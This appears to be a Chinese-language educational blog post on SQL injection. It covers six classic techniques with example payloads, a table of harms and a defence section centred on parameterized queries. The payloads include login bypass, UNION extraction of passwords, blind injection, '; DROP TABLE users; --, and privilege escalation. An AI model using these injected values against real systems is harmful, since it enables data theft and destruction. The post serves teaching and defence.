[特殊字符] SQL注入攻击的常见写法及危害

SQL注入攻击的常见写法及危害

SQL注入(SQL Injection)是黑客通过构造恶意输入,篡改SQL查询逻辑的攻击方式。以下是 6种典型攻击手法及其影响。


一、SQL注入的常见攻击方式

1. 单引号闭合注入(Classic SQLi)

攻击方式:利用未转义的 ' 提前闭合SQL语句,插入恶意代码。
示例

-- 原始SQL
SELECT * FROM users WHERE username = '[输入]' AND password = '[输入]';

-- 攻击者输入(用户名):
admin' -- 
-- 最终SQL(绕过密码检查):
SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx';

影响
✅ 绕过登录验证(如 admin' -- 注释掉密码检查)。
✅ 泄露敏感数据(如 ' OR 1=1 -- 查询所有用户)。


2. UNION注入(数据泄露)

攻击方式:利用 UNION SELECT 合并查询结果,窃取其他表数据。
示例

-- 原始SQL(商品搜索):
SELECT * FROM products WHERE name LIKE '%[输入]%';

-- 攻击者输入:
' UNION SELECT username, password FROM users --
-- 最终SQL:
SELECT * FROM products WHERE name LIKE '%' UNION SELECT username, password FROM users --%';

影响
✅ 泄露数据库所有用户密码(如 UNION SELECT 1,2,3,password FROM users)。
✅ 获取管理员权限(如 UNION SELECT 'admin', 'hashed_password')。


3. 布尔盲注(Boolean-Based Blind)

攻击方式:通过 AND 1=1 / AND 1=2 观察页面返回差异,逐字符猜解数据。
示例

-- 攻击者输入(探测管理员密码长度):
' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=10 --
-- 如果返回正常,说明密码长度为10

影响
✅ 间接获取敏感信息(如密码、API密钥)。
✅ 适用于错误信息被隐藏的场景。


4. 时间盲注(Time-Based Blind)

攻击方式:利用 SLEEP() 或 BENCHMARK() 延迟响应,判断条件真假。
示例

-- 攻击者输入(判断数据库名首字母):
' AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0) --
-- 如果页面延迟5秒,说明数据库名以 'a' 开头

影响
✅ 绕过无错误回显的防御措施。
✅ 可逐步提取完整数据库内容。


5. 堆叠查询(Stacked Queries)

攻击方式:利用 ; 执行多条SQL语句(需数据库支持,如MySQL默认禁用)。
示例

-- 攻击者输入:
'; DROP TABLE users; --
-- 最终SQL:
SELECT * FROM products WHERE id=1; DROP TABLE users; --

影响
✅ 删除表、篡改数据(如 '; UPDATE users SET is_admin=1 WHERE id=1 --)。
✅ 执行系统命令(如SQL Server的 xp_cmdshell)。


6. 二次注入(Second-Order Injection)

攻击方式:恶意数据先存入数据库,后续查询时触发注入。
示例

  1. 注册用户名:admin' --

  2. 后台查询时触发:

    -- 管理员执行(修改用户权限):
    UPDATE users SET role='admin' WHERE username='[输入]';
    -- 实际执行:
    UPDATE users SET role='admin' WHERE username='admin' --';

影响
✅ 绕过输入过滤(因为首次存储时未检测)。
✅ 长期潜伏,危害更大。


二、SQL注入的危害

攻击类型 可能的影响
数据泄露 盗取用户密码、信用卡号、个人信息
权限提升 普通用户 → 管理员(如 UPDATE users SET is_admin=1
数据篡改 修改商品价格、删除订单(如 '; UPDATE products SET price=0 --
数据库破坏 删除表、清空数据(如 '; DROP TABLE users --
服务器沦陷 利用数据库功能执行系统命令(如 xp_cmdshell
法律风险 数据泄露导致GDPR罚款、公司声誉受损

️ 三、如何防御?

✅ 参数化查询PreparedStatement) → 彻底杜绝注入
✅ ORM框架(如Hibernate、Django ORM) → 减少手写SQL
✅ 输入验证(白名单过滤 a-zA-Z0-9
✅ 最小权限(数据库账号仅限 SELECT/INSERT
✅ WAF防火墙(拦截 UNION SELECTSLEEP() 等攻击)


总结

  • 攻击方式:单引号注入、UNION查询、盲注、堆叠查询、二次注入。

  • 最大危害:数据泄露、删库、服务器被控。

  • 最佳防御:参数化查询 + ORM + 输入过滤。

记住:永远不要信任用户输入! 使用 PreparedStatement 是黄金标准。

你可能感兴趣的:(sql,工具,计算机基础,数据库,sql)